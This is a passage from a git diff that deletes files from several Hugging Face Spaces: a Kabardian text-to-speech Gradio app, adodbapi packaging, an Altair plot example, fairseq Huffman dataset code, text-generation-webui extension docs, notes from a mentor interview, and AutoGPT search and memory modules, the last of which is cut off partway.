-MAX_TXT_LEN = 800
-BASE_DIR = "kbd-vits-tts-{}"
-MALE_MODEL_URL = "https://huggingface.co/anzorq/kbd-vits-tts-male/resolve/main/checkpoint_56000.pth"
-MALE_CONFIG_URL = "https://huggingface.co/anzorq/kbd-vits-tts-male/resolve/main/config_35000.json"
-FEMALE_MODEL_URL = "https://huggingface.co/anzorq/kbd-vits-tts-female/resolve/main/best_model_56351.pth"
-FEMALE_CONFIG_URL = "https://huggingface.co/anzorq/kbd-vits-tts-female/resolve/main/config.json"
-
-def download_model_and_config(gender):
-    dir_path = BASE_DIR.format(gender)
-    if not os.path.exists(dir_path):
-        os.makedirs(dir_path)
-    model_url = MALE_MODEL_URL if gender == "male" else FEMALE_MODEL_URL
-    config_url = MALE_CONFIG_URL if gender == "male" else FEMALE_CONFIG_URL
-    download_url(model_url, dir_path, "model.pth")
-    download_url(config_url, dir_path, "config.json")
-    return dir_path
-
-download_model_and_config("male")
-download_model_and_config("female")
-
-def tts(text: str, voice: str="Male"):
-    if len(text) > MAX_TXT_LEN:
-        text = text[:MAX_TXT_LEN]
-        print(f"Input text was cutoff since it went over the {MAX_TXT_LEN} character limit.")
-    print(text)
-
-    text = text.replace("I", "ӏ") #replace capital is with "Palochka" symbol
-
-    model_dir = BASE_DIR.format("male" if voice == "Male" else "female")
-
-    # synthesize
-    synthesizer = Synthesizer(f"{model_dir}/model.pth", f"{model_dir}/config.json")
-    wavs = synthesizer.tts(text)
-
-    # return output
-    with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as fp:
-        synthesizer.save_wav(wavs, fp)
-        return fp.name
-
-iface = gr.Interface(
-    fn=tts,
-    inputs=[
-        gr.Textbox(
-            label="Text",
-            value="Default text here if you need it.",
-        ),
-        gr.Radio(
-            choices=["Male", "Female"],
-            value="Male",  # Set Male as the default choice
-            label="Voice"
-        )
-    ],
-    outputs=gr.Audio(label="Output", type='filepath'),
-    title="KBD TTS",
-    live=False
-)
-
-iface.launch(share=False)
\ No newline at end of file
diff --git a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/adodbapi/setup.py b/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/adodbapi/setup.py
deleted file mode 100644
index 87e71ed6f10b565a4bf96e6c84ec6cbf3f550f4c..0000000000000000000000000000000000000000
--- a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/adodbapi/setup.py
+++ /dev/null
@@ -1,73 +0,0 @@
-"""adodbapi -- a pure Python PEP 249 DB-API package using Microsoft ADO
-
-Adodbapi can be run on CPython 3.5 and later.
-or IronPython version 2.6 and later (in theory, possibly no longer in practice!)
-"""
-CLASSIFIERS = """\
-Development Status :: 5 - Production/Stable
-Intended Audience :: Developers
-License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)
-Operating System :: Microsoft :: Windows
-Operating System :: POSIX :: Linux
-Programming Language :: Python
-Programming Language :: Python :: 3
-Programming Language :: SQL
-Topic :: Software Development
-Topic :: Software Development :: Libraries :: Python Modules
-Topic :: Database
-"""
-
-NAME = "adodbapi"
-MAINTAINER = "Vernon Cole"
-MAINTAINER_EMAIL = "vernondcole@gmail.com"
-DESCRIPTION = (
-    """A pure Python package implementing PEP 249 DB-API using Microsoft ADO."""
-)
-URL = "http://sourceforge.net/projects/adodbapi"
-LICENSE = "LGPL"
-CLASSIFIERS = filter(None, CLASSIFIERS.split("\n"))
-AUTHOR = "Henrik Ekelund, Vernon Cole, et.al."
-AUTHOR_EMAIL = "vernondcole@gmail.com"
-PLATFORMS = ["Windows", "Linux"]
-
-VERSION = None  # in case searching for version fails
-a = open("adodbapi.py")  # find the version string in the source code
-for line in a:
-    if "__version__" in line:
-        VERSION = line.split("'")[1]
-        print('adodbapi version="%s"' % VERSION)
-        break
-a.close()
-
-import sys
-
-
-def setup_package():
-
-    from distutils.core import setup
-    from distutils.command.build_py import build_py
-
-    setup(
-        cmdclass={"build_py": build_py},
-        name=NAME,
-        maintainer=MAINTAINER,
-        maintainer_email=MAINTAINER_EMAIL,
-        description=DESCRIPTION,
-        url=URL,
-        keywords="database ado odbc dbapi db-api Microsoft SQL",
-        ##        download_url=DOWNLOAD_URL,
-        long_description=open("README.txt").read(),
-        license=LICENSE,
-        classifiers=CLASSIFIERS,
-        author=AUTHOR,
-        author_email=AUTHOR_EMAIL,
-        platforms=PLATFORMS,
-        version=VERSION,
-        package_dir={"adodbapi": ""},
-        packages=["adodbapi"],
-    )
-    return
-
-
-if __name__ == "__main__":
-    setup_package()
diff --git a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/altair/examples/dot_dash_plot.py b/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/altair/examples/dot_dash_plot.py
deleted file mode 100644
index 4554082c8bfad9af04a96205f27d8638e423e719..0000000000000000000000000000000000000000
--- a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/altair/examples/dot_dash_plot.py
+++ /dev/null
@@ -1,40 +0,0 @@
-"""
-Dot Dash Plot
-=============
-How to make the dot-dash plot presented in Edward Tufte's `Visual Display of Quantitative Information <https://www.edwardtufte.com/tufte/books_vdqi>`_. Based
-on a JavaScript implementation by `g3o2 <https://bl.ocks.org/g3o2/bd4362574137061c243a2994ba648fb8>`_.
-"""
-# category: scatter plots
-import altair as alt
-from vega_datasets import data
-
-source = data.cars()
-
-# Configure the options common to all layers
-brush = alt.selection(type='interval')
-base = alt.Chart(source).add_selection(brush)
-
-# Configure the points
-points = base.mark_point().encode(
-    x=alt.X('Miles_per_Gallon', title=''),
-    y=alt.Y('Horsepower', title=''),
-    color=alt.condition(brush, 'Origin', alt.value('grey'))
-)
-
-# Configure the ticks
-tick_axis = alt.Axis(labels=False, domain=False, ticks=False)
-
-x_ticks = base.mark_tick().encode(
-    alt.X('Miles_per_Gallon', axis=tick_axis),
-    alt.Y('Origin', title='', axis=tick_axis),
-    color=alt.condition(brush, 'Origin', alt.value('lightgrey'))
-)
-
-y_ticks = base.mark_tick().encode(
-    alt.X('Origin', title='', axis=tick_axis),
-    alt.Y('Horsepower', axis=tick_axis),
-    color=alt.condition(brush, 'Origin', alt.value('lightgrey'))
-)
-
-# Build the chart
-y_ticks | (points & x_ticks)
diff --git a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/fairseq/data/huffman/huffman_mmap_indexed_dataset.py b/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/fairseq/data/huffman/huffman_mmap_indexed_dataset.py
deleted file mode 100644
index 9b098f2c2be32ef65525dd773a6664d7823ada38..0000000000000000000000000000000000000000
--- a/spaces/arxify/RVC-beta-v2-0618/runtime/Lib/site-packages/fairseq/data/huffman/huffman_mmap_indexed_dataset.py
+++ /dev/null
@@ -1,287 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-#
-# This source code is licensed under the MIT license found in the
-# LICENSE file in the root directory of this source tree.
-
-import mmap
-import os
-import shutil
-import struct
-import typing as tp
-from functools import lru_cache
-
-import numpy as np
-import torch
-from fairseq.data import indexed_dataset
-from fairseq.data.huffman import HuffmanCoder
-from fairseq.file_io import PathManager
-
-
-class HuffmanMMapIndex:
-    """
-    keep an index of the offsets in the huffman binary file.
-    First a header, then the list of sizes (num tokens) for each instance and finally
-    the addresses of each instance.
-    """
-
-    _HDR_MAGIC = b"HUFFIDX\x00\x00"
-    _VERSION = 1
-
-    @classmethod
-    def writer(cls, path: str, data_len: int):
-        class _Writer:
-            def __enter__(self):
-                self._file = open(path, "wb")
-
-                # write header (magic + version)
-                self._file.write(cls._HDR_MAGIC)
-                self._file.write(struct.pack("<Q", cls._VERSION))
-                self._file.write(struct.pack("<Q", data_len))
-
-                return self
-
-            def write(self, sizes, pointers):
-                # add number of items in the index to the header
-                self._file.write(struct.pack("<Q", len(sizes)))
-
-                # write sizes
-                sizes = np.array(sizes, dtype=np.int32)
-                self._file.write(sizes.tobytes(order="C"))
-                del sizes
-
-                # write address pointers
-                pointers = np.array(pointers, dtype=np.int64)
-                self._file.write(pointers.tobytes(order="C"))
-                del pointers
-
-            def __exit__(self, exc_type, exc_val, exc_tb):
-                self._file.close()
-
-        return _Writer()
-
-    def __init__(self, path):
-        with open(path, "rb") as stream:
-            # read headers
-            magic_test = stream.read(9)
-            assert self._HDR_MAGIC == magic_test, (
-                "Index file doesn't match expected format. "
-                "Make sure that --dataset-impl is configured properly."
-            )
-            (version,) = struct.unpack("<Q", stream.read(8))
-            assert (
-                self._VERSION == version
-            ), f"Unexpected file version{version} != code version {self._VERSION}"
-
-            # read length of data file
-            (self._data_len,) = struct.unpack("<Q", stream.read(8))
-            # read number of items in data file/index
-            (self._len,) = struct.unpack("<Q", stream.read(8))
-            offset = stream.tell()
-
-        indexed_dataset._warmup_mmap_file(path)
-
-        self._bin_buffer_mmap = np.memmap(path, mode="r", order="C")
-        self._bin_buffer = memoryview(self._bin_buffer_mmap)
-        self._sizes = np.frombuffer(
-            self._bin_buffer, dtype=np.int32, count=self._len, offset=offset
-        )
-        self._pointers = np.frombuffer(
-            self._bin_buffer,
-            dtype=np.int64,
-            count=self._len,
-            offset=offset + self._sizes.nbytes,
-        )
-
-    def __del__(self):
-        self._bin_buffer_mmap._mmap.close()
-        del self._bin_buffer_mmap
-
-    def __iter__(self):
-        for i in range(self._len):
-            yield self[i]
-
-    @property
-    def data_len(self):
-        return self._data_len
-
-    @property
-    def sizes(self):
-        return self._sizes
-
-    @lru_cache(maxsize=8)
-    def __getitem__(self, i):
-        return self._pointers[i], self._sizes[i]
-
-    def __len__(self):
-        return self._len
-
-
-def vocab_file_path(prefix_path):
-    return prefix_path + ".vocab"
-
-
-class HuffmanMMapIndexedDataset(torch.utils.data.Dataset):
-    """
-    an indexed dataset that use mmap and memoryview to access data from disk
-    that was compressed with a HuffmanCoder.
-    """
-
-    def __init__(self, prefix_path):
-        super().__init__()
-
-        self._prefix_path = None
-        self._index = None
-        self._bin_buffer = None
-        self._coder = None
-        self._file = None
-
-        self._bin_buffer_mmap = None
-
-        self._do_init(prefix_path)
-
-    def __getstate__(self):
-        return self._prefix_path
-
-    def __setstate__(self, state):
-        self._do_init(state)
-
-    def _do_init(self, prefix_path):
-        self._prefix_path = prefix_path
-        self._index = HuffmanMMapIndex(
-            indexed_dataset.index_file_path(self._prefix_path)
-        )
-        self._coder = HuffmanCoder.from_file(vocab_file_path(self._prefix_path))
-
-        indexed_dataset._warmup_mmap_file(
-            indexed_dataset.data_file_path(self._prefix_path)
-        )
-        self._file = os.open(
-            indexed_dataset.data_file_path(self._prefix_path), os.O_RDONLY
-        )
-        self._bin_buffer_mmap = mmap.mmap(
-            self._file,
-            self._index.data_len,
-            access=mmap.ACCESS_READ,
-        )
-        self._bin_buffer = memoryview(self._bin_buffer_mmap)
-
-    def __del__(self):
-        del self._bin_buffer
-        if self._file:
-            os.close(self._file)
-        del self._index
-
-    def __len__(self):
-        return len(self._index)
-
-    def _decode(self, i):
-        ptr, _ = self._index[i]
-        if i == 0:
-            raw_bytes = self._bin_buffer[:ptr]
-        else:
-            (prev_ptr, _) = self._index[i - 1]
-            raw_bytes = self._bin_buffer[prev_ptr:ptr]
-
-        return self._coder.decode(raw_bytes.tobytes())
-
-    @lru_cache(maxsize=8)
-    def __getitem__(self, i):
-        nodes = self._decode(i)
-        return torch.tensor([n.id for n in nodes], dtype=torch.int64)
-
-    def __iter__(self):
-        for idx in range(len(self)):
-            yield self[idx]
-
-    def get_symbols(self, i):
-        nodes = self._decode(i)
-        for n in nodes:
-            yield n.symbol
-
-    @property
-    def sizes(self):
-        return self._index.sizes
-
-    @property
-    def supports_prefetch(self):
-        return False
-
-    @property
-    def coder(self):
-        return self._coder
-
-    @staticmethod
-    def exists(prefix_path):
-        return (
-            PathManager.exists(indexed_dataset.index_file_path(prefix_path))
-            and PathManager.exists(indexed_dataset.data_file_path(prefix_path))
-            and PathManager.exists(vocab_file_path(prefix_path))
-        )
-
-
-class HuffmanMMapIndexedDatasetBuilder:
-    """
-    Helper to build a memory mapped datasets with a huffman encoder.
-    You can either open/close this manually or use it as a ContextManager.
-    Provide your own coder, it will then be stored alongside the dataset.
-    The builder will first write the vocab file, then open the binary file so you can stream
-    into it, finally the index will be written when the builder is closed (your index should fit in memory).
-    """
-
-    def __init__(self, path_prefix: str, coder: HuffmanCoder) -> None:
-        self._path_prefix = path_prefix
-        self._coder = coder
-        self._sizes = []
-        self._ptrs = []
-        self._data_len = 0
-
-    def open(self):
-        self._coder.to_file(vocab_file_path(self._path_prefix))
-        self._data_file = open(indexed_dataset.data_file_path(self._path_prefix), "wb")
-
-    def __enter__(self) -> "HuffmanMMapIndexedDatasetBuilder":
-        self.open()
-        return self
-
-    def add_item(self, tokens: tp.List[str]) -> None:
-        """
-        add a list of tokens to the dataset, they will compressed with the
-        provided coder before being written to file.
-        """
-        encoded = self._coder.encode(tokens)
-        code_len = len(encoded)
-        last_ptr = 0
-        if len(self._ptrs) > 0:
-            last_ptr = self._ptrs[-1]
-        self._sizes.append(len(tokens))
-        self._ptrs.append(last_ptr + code_len)
-        self._data_len += code_len
-        self._data_file.write(encoded)
-
-    def append(self, other_dataset_path_prefix: str) -> None:
-        """
-        append an existing dataset.
-        Beware, if it wasn't built with the same coder, you are in trouble.
-        """
-        other_index = HuffmanMMapIndex(
-            indexed_dataset.index_file_path(other_dataset_path_prefix)
-        )
-        for (ptr, size) in other_index:
-            self._ptrs.append(ptr + self._data_len)
-            self._sizes.append(size)
-
-        # Concatenate data
-        with open(indexed_dataset.data_file_path(other_dataset_path_prefix), "rb") as f:
-            shutil.copyfileobj(f, self._data_file)
-
-        self._data_len += other_index.data_len
-
-    def close(self):
-        self._data_file.close()
-        with HuffmanMMapIndex.writer(
-            indexed_dataset.index_file_path(self._path_prefix), self._data_len
-        ) as index:
-            index.write(self._sizes, self._ptrs)
-
-    def __exit__(self, exc_type, exc_val, exc_tb) -> None:
-        self.close()
diff --git a/spaces/ashercn97/AsherTesting/docs/Extensions.md b/spaces/ashercn97/AsherTesting/docs/Extensions.md
deleted file mode 100644
index e156456bcd1a862869d24e40707af43ade772496..0000000000000000000000000000000000000000
--- a/spaces/ashercn97/AsherTesting/docs/Extensions.md
+++ /dev/null
@@ -1,161 +0,0 @@
-Extensions are defined by files named `script.py` inside subfolders of `text-generation-webui/extensions`. They are loaded at startup if specified with the `--extensions` flag.
-
-For instance, `extensions/silero_tts/script.py` gets loaded with `python server.py --extensions silero_tts`.
-
-## [text-generation-webui-extensions](https://github.com/oobabooga/text-generation-webui-extensions)
-
-The link above contains a directory of user extensions for text-generation-webui.
-
-If you create an extension, you are welcome to host it in a GitHub repository and submit it to the list above.
-
-## Built-in extensions
-
-Most of these have been created by the extremely talented contributors that you can find here: [contributors](https://github.com/oobabooga/text-generation-webui/graphs/contributors?from=2022-12-18&to=&type=a).
-
-|Extension|Description|
-|---------|-----------|
-|[api](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/api)| Creates an API with two endpoints, one for streaming at `/api/v1/stream` port 5005 and another for blocking at `/api/v1/generate` port 5000. This is the main API for this web UI. |
-|[google_translate](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/google_translate)| Automatically translates inputs and outputs using Google Translate.|
-|[character_bias](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/character_bias)| Just a very simple example that biases the bot's responses in chat mode.|
-|[gallery](https://github.com/oobabooga/text-generation-webui/blob/main/extensions/gallery/)| Creates a gallery with the chat characters and their pictures. |
-|[silero_tts](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/silero_tts)| Text-to-speech extension using [Silero](https://github.com/snakers4/silero-models). When used in chat mode, it replaces the responses with an audio widget. |
-|[elevenlabs_tts](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/elevenlabs_tts)| Text-to-speech extension using the [ElevenLabs](https://beta.elevenlabs.io/) API. You need an API key to use it. |
-|[send_pictures](https://github.com/oobabooga/text-generation-webui/blob/main/extensions/send_pictures/)| Creates an image upload field that can be used to send images to the bot in chat mode. Captions are automatically generated using BLIP. |
-|[whisper_stt](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/whisper_stt)| Allows you to enter your inputs in chat mode using your microphone. |
-|[sd_api_pictures](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/sd_api_pictures)| Allows you to request pictures from the bot in chat mode, which will be generated using the AUTOMATIC1111 Stable Diffusion API. See examples [here](https://github.com/oobabooga/text-generation-webui/pull/309). |
-|[multimodal](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/multimodal) | Adds multimodality support (text+images). For a detailed description see [README.md](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/multimodal/README.md) in the extension directory. |
-|[openai](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/openai)| Creates an API that mimics the OpenAI API and can be used as a drop-in replacement. |
-|[superbooga](https://github.com/oobabooga/text-generation-webui/tree/main/extensions/superbooga)| An extension that uses ChromaDB to create an arbitrarily large pseudocontext, taking as input text files, URLs, or pasted text. Based on https://github.com/kaiokendev/superbig. |
-
-## How to write an extension
-
-script.py may define the special functions and variables below.
-
-#### Predefined functions
-
-| Function        | Description |
-|-------------|-------------|
-| `def ui()` | Creates custom gradio elements when the UI is launched. | 
-| `def custom_css()` | Returns custom CSS as a string. It is applied whenever the web UI is loaded. |
-| `def custom_js()` | Same as above but for javascript. |
-| `def input_modifier(string, state)`  | Modifies the input string before it enters the model. In chat mode, it is applied to the user message. Otherwise, it is applied to the entire prompt. |
-| `def output_modifier(string, state)`  | Modifies the output string before it is presented in the UI. In chat mode, it is applied to the bot's reply. Otherwise, it is applied to the entire output. |
-| `def bot_prefix_modifier(string, state)`  | Applied in chat mode to the prefix for the bot's reply. |
-| `def state_modifier(state)`  | Modifies the dictionary containing the UI input parameters before it is used by the text generation functions. |
-| `def history_modifier(history)`  | Modifies the chat history before the text generation in chat mode begins. |
-| `def custom_generate_reply(...)` | Overrides the main text generation function. |
-| `def custom_generate_chat_prompt(...)` | Overrides the prompt generator in chat mode. |
-| `def tokenizer_modifier(state, prompt, input_ids, input_embeds)` | Modifies the `input_ids`/`input_embeds` fed to the model. Should return `prompt`, `input_ids`, `input_embeds`. See the `multimodal` extension for an example. |
-| `def custom_tokenized_length(prompt)` | Used in conjunction with `tokenizer_modifier`, returns the length in tokens of `prompt`. See the `multimodal` extension for an example. |
-
-#### `params` dictionary
-
-In this dictionary, `display_name` is used to define the displayed name of the extension in the UI, and `is_tab` is used to define whether the extension should appear in a new tab. By default, extensions appear at the bottom of the "Text generation" tab.
-
-Example:
-
-```python
-params = {
-    "display_name": "Google Translate",
-    "is_tab": True,
-}
-```
-
-Additionally, `params` may contain variables that you want to be customizable through a `settings.json` file. For instance, assuming the extension is in `extensions/google_translate`, the variable `language string` in
-
-```python
-params = {
-    "display_name": "Google Translate",
-    "is_tab": True,
-    "language string": "jp"
-}
-```
-
-can be customized by adding a key called `google_translate-language string` to `settings.json`:
-
-```python
-"google_translate-language string": "fr",
-``` 
-
-That is, the syntax is `extension_name-variable_name`.
-
-#### `input_hijack` dictionary
-
-```python
-input_hijack = {
-    'state': False,
-    'value': ["", ""]
-}
-```
-This is only used in chat mode. If your extension sets `input_hijack['state'] = True` at any moment, the next call to `modules.chat.chatbot_wrapper` will use the values inside `input_hijack['value']` as the user input for text generation. See the `send_pictures` extension above for an example. 
-
-Additionally, your extension can set the value to be a callback in the form of `def cb(text: str, visible_text: str) -> [str, str]`. See the `multimodal` extension above for an example.
-
-## Using multiple extensions at the same time
-
-In order to use your extension, you must start the web UI with the `--extensions` flag followed by the name of your extension (the folder under `text-generation-webui/extension` where `script.py` resides).
-
-You can activate more than one extension at a time by providing their names separated by spaces. The input, output, and bot prefix modifiers will be applied in the specified order. 
-
-
-```
-python server.py --extensions enthusiasm translate # First apply enthusiasm, then translate
-python server.py --extensions translate enthusiasm # First apply translate, then enthusiasm
-```
-
-Do note, that for:
-- `custom_generate_chat_prompt`
-- `custom_generate_reply`
-- `tokenizer_modifier`
-- `custom_tokenized_length`
-
-only the first declaration encountered will be used and the rest will be ignored. 
-
-## The `bot_prefix_modifier`
-
-In chat mode, this function modifies the prefix for a new bot message. For instance, if your bot is named `Marie Antoinette`, the default prefix for a new message will be
-
-```
-Marie Antoinette:
-```
-
-Using `bot_prefix_modifier`, you can change it to:
-
-```
-Marie Antoinette: *I am very enthusiastic*
-```
- 
-Marie Antoinette will become very enthusiastic in all her messages.
-
-## `custom_generate_reply` example
-
-Once defined in a `script.py`, this function is executed in place of the main generation functions. You can use it to connect the web UI to an external API, or to load a custom model that is not supported yet.
-
-Note that in chat mode, this function must only return the new text, whereas in other modes it must return the original prompt + the new text.
-
-```python
-import datetime
-
-def custom_generate_reply(question, original_question, seed, state, stopping_strings):
-    cumulative = ''
-    for i in range(10):
-        cumulative += f"Counting: {i}...\n"
-        yield cumulative
-
-    cumulative += f"Done! {str(datetime.datetime.now())}"
-    yield cumulative
-```
-
-## `custom_generate_chat_prompt` example
-
-Below is an extension that just reproduces the default prompt generator in `modules/chat.py`. You can modify it freely to come up with your own prompts in chat mode.
-
-```python
-from modules import chat
-
-def custom_generate_chat_prompt(user_input, state, **kwargs):
-    
-    # Do something with kwargs['history'] or state
-
-    return chat.generate_chat_prompt(user_input, state, **kwargs)
-```
diff --git a/spaces/at2507/SM_NLP_RecoSys/Data/Mentor_interviews/Nima.html b/spaces/at2507/SM_NLP_RecoSys/Data/Mentor_interviews/Nima.html
deleted file mode 100644
index 78d3a3a32a4a075adaa54c17b1962b3f32162706..0000000000000000000000000000000000000000
--- a/spaces/at2507/SM_NLP_RecoSys/Data/Mentor_interviews/Nima.html
+++ /dev/null
@@ -1,134 +0,0 @@
-<!DOCTYPE html><html lang="en"><head>
-    <meta charset="utf-8">
-    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
-    <title>Nima </title>
-    <style>
-      html {
-        padding: 1em;
-        background: #fff;
-        color: #222;
-        font-family: "Lucida Grande", "Lucida Sans Unicode", "Lucida Sans", Geneva, Verdana, sans-serif;
-        font-size: 100%;
-        line-height: 1.5;
-      }
-
-      h1,
-      p,
-      ul,
-      ol,
-      div,
-      figure {
-        margin: 0;
-      }
-
-      h1 { font-size: 1.2em; }
-
-      ul {
-        list-style: disc;
-        padding-left: 1.3em;
-      }
-
-      ol {
-        padding-left: 1.3em;
-        list-style: decimal;
-      }
-
-      blockquote {
-        border-left: 3px solid #000;
-        margin: 0;
-        padding: 0 0 0 1em;
-      }
-
-      pre {
-        font-family: monaco, monospace;
-        font-size: 0.875em;
-        margin: 0;
-        padding: 1rem;
-        background: #eee;
-        border-radius: 0.4rem;
-        white-space: pre;
-        word-wrap: normal;
-        word-break: normal;
-        overflow-x: auto;
-      }
-
-      code { border-radius: 0.4rem; }
-
-      figure {
-        display: inline-block;
-        width: 100%;
-        box-sizing: border-box;
-      }
-
-      figcaption { word-break: break-word; }
-
-      img {
-        display: block;
-        max-width: 100%;
-        margin: 0 auto;
-        padding: 1px;
-        border: 1px solid #eee;
-      }
-
-      a {
-        color: #1b6ac9;
-        text-decoration: underline;
-      }
-
-      a:active { color: #064ac9; }
-
-      .wrapper {
-        max-width: 650px;
-        margin: 0 auto;
-      }
-
-      .title {
-        font-size: 2em;
-        margin: 0.5em 0 1em;
-        line-height: 1.3;
-      }
-
-      .attachment--image {
-        text-align: center;
-        color: #888;
-        font-size: 0.875em;
-      }
-
-      .attachment--file {
-        position: relative;
-        padding: 1.4em 1em 1.5em;
-        border: 1px solid #ddd;
-        border-bottom-width: 3px;
-        border-radius: 6px;
-        color: #222;
-      }
-
-      .attachment__label {
-        position: absolute;
-        bottom: 0;
-        right: 0;
-        background: #ddd;
-        font-size: 10px;
-        padding: 2px 6px;
-        border-radius: 6px 0 4px 0;
-        color: #888;
-      }
-
-      .metadata { color: #888; }
-    </style>
-  </head>
-
-  <body>
-    <div class="wrapper">
-      <h1 class="title">Nima </h1>
-
-<div class="formatted_content">
-  <div><br><strong>How did you hear about SM?</strong></div><ul><li>successful mentor at MentorCruise and a mentee of mine mentioned SM (that it was too pricey)</li><li>he told me more about SM and I found it interesting</li><li>many ppl that I mentor want an "A" in coursework or learn more. Not that serious about</li><li>I see a lot more impact, in helping someone who is serious about getting a job</li></ul><div><br><strong>Mentorship exp?</strong></div><ul><li>4-5 months at mentor cruise: 6 or 7 mentees<ul><li>apparently doing good good (mentor cruise wants to interview him)</li></ul></li><li>as a postdoc, mentored phd students</li><li>worked as a manager, leading a team</li><li>now at Nvidia, senior engineer. 2 engineers report to me, and sometimes interns</li><li>"I feel great about helping people about"</li></ul><div><br><strong>What are the biggest mistakes beginners make and how can you help?</strong></div><ul><li>sometimes they just need direction</li><li>give them a topic and a bunch of soft topics<ul><li>"go read this and think about why that is needed"</li><li>sometimes they get sidetracked or go too deep on a topic</li></ul></li><li>ppl use DL as black box without understanding what's happening&nbsp;<ul><li>understand things before using it</li></ul></li><li>encourage them to think more critically</li></ul><div><bc-attachment content-type="application/vnd.basecamp.horizontal-rule.html"><figure class="attachment attachment--content attachment--horizontal-rule">
-  <hr>
-</figure></bc-attachment><br><strong>Questions for SM?</strong></div><ul><li>how does it work for the mentor?</li><li>How do you make sure someone pays?</li><li># of mentors and mentees?</li><li><br></li></ul><div></div>
-</div>
-
-    </div>
-  
-
-</body></html>
\ No newline at end of file
diff --git a/spaces/avivdm1/AutoGPT/autogpt/commands/google_search.py b/spaces/avivdm1/AutoGPT/autogpt/commands/google_search.py
deleted file mode 100644
index 7d38ce7568d2de207d521b077cfebd72527c9795..0000000000000000000000000000000000000000
--- a/spaces/avivdm1/AutoGPT/autogpt/commands/google_search.py
+++ /dev/null
@@ -1,87 +0,0 @@
-"""Google search command for Autogpt."""
-from __future__ import annotations
-
-import json
-
-from duckduckgo_search import ddg
-
-from autogpt.config import Config
-
-CFG = Config()
-
-
-def google_search(query: str, num_results: int = 8) -> str:
-    """Return the results of a Google search
-
-    Args:
-        query (str): The search query.
-        num_results (int): The number of results to return.
-
-    Returns:
-        str: The results of the search.
-    """
-    search_results = []
-    if not query:
-        return json.dumps(search_results)
-
-    results = ddg(query, max_results=num_results)
-    if not results:
-        return json.dumps(search_results)
-
-    for j in results:
-        search_results.append(j)
-
-    return json.dumps(search_results, ensure_ascii=False, indent=4)
-
-
-def google_official_search(query: str, num_results: int = 8) -> str | list[str]:
-    """Return the results of a Google search using the official Google API
-
-    Args:
-        query (str): The search query.
-        num_results (int): The number of results to return.
-
-    Returns:
-        str: The results of the search.
-    """
-
-    from googleapiclient.discovery import build
-    from googleapiclient.errors import HttpError
-
-    try:
-        # Get the Google API key and Custom Search Engine ID from the config file
-        api_key = CFG.google_api_key
-        custom_search_engine_id = CFG.custom_search_engine_id
-
-        # Initialize the Custom Search API service
-        service = build("customsearch", "v1", developerKey=api_key)
-
-        # Send the search query and retrieve the results
-        result = (
-            service.cse()
-            .list(q=query, cx=custom_search_engine_id, num=num_results)
-            .execute()
-        )
-
-        # Extract the search result items from the response
-        search_results = result.get("items", [])
-
-        # Create a list of only the URLs from the search results
-        search_results_links = [item["link"] for item in search_results]
-
-    except HttpError as e:
-        # Handle errors in the API call
-        error_details = json.loads(e.content.decode())
-
-        # Check if the error is related to an invalid or missing API key
-        if error_details.get("error", {}).get(
-            "code"
-        ) == 403 and "invalid API key" in error_details.get("error", {}).get(
-            "message", ""
-        ):
-            return "Error: The provided Google API key is invalid or missing."
-        else:
-            return f"Error: {e}"
-
-    # Return the list of search result URLs
-    return search_results_links
diff --git a/spaces/avivdm1/AutoGPT/autogpt/memory/local.py b/spaces/avivdm1/AutoGPT/autogpt/memory/local.py
deleted file mode 100644
index 803b6dc6ebb430285f423cda592fa3e902e9a4a6..0000000000000000000000000000000000000000
--- a/spaces/avivdm1/AutoGPT/autogpt/memory/local.py
+++ /dev/null
@@ -1,136 +0,0 @@
-from __future__ import annotations
-
-import dataclasses
-import os
-from typing import Any, List
-
-import numpy as np
-import orjson
-
-from autogpt.llm_utils import create_embedding_with_ada
-from autogpt.memory.base import MemoryProviderSingleton
-
-EMBED_DIM = 1536
-SAVE_OPTIONS = orjson.OPT_SERIALIZE_NUMPY | orjson.OPT_SERIALIZE_DATACLASS
-
-
-def create_default_embeddings():
-    return np.zeros((0, EMBED_DIM)).astype(np.float32)
-
-
-@dataclasses.dataclass
-class CacheContent:
-    texts: List[str] = dataclasses.field(default_factory=list)
-    embeddings: np.ndarray = dataclasses.field(
-        default_factory=create_default_embeddings
-    )
-
-
-class LocalCache(MemoryProviderSingleton):
-    """A class that stores the memory in a local file"""
-
-    def __init__(self, cfg) -> None:
-        """Initialize a class instance
-
-        Args:
-            cfg: Config object
-
-        Returns:
-            None
-        """
-        self.filename = f"{cfg.memory_index}.json"
-        if os.path.exists(self.filename):
-            try:
-                with open(self.filename, "w+b") as f:
-                    file_content = f.read()
-                    if not file_content.strip():
-                        file_content = b"{}"
-                        f.write(file_content)
-
-                    loaded = orjson.loads(file_content)
-                    self.data = CacheContent(**loaded)
-            except orjson.JSONDecodeError:
-                print(f"Error: The file '{self.filename}' is not in JSON format.")
-                self.data = CacheContent()
-        else:
-            print(
-                f"Warning: The file '{self.filename}' does not exist. "
-                "Local memory would not be saved to a file."
-            )
-            self.data = CacheContent()
-
-    def add(self, text: str):
-        """
-        Add text to our list of texts, add embedding as row to our
-            embeddings-matrix
-
-        Args:
-            text: str
-
-        Returns: None
-        """
-        if "Command Error:" in text:
-            return ""
-        self.data.texts.append(text)
-
-        embedding = create_embedding_with_ada(text)
-
-        vector = np.array(embedding).astype(np.float32)
-        vector = vector[np.newaxis, :]
-        self.data.embeddings = np.concatenate(
-            [
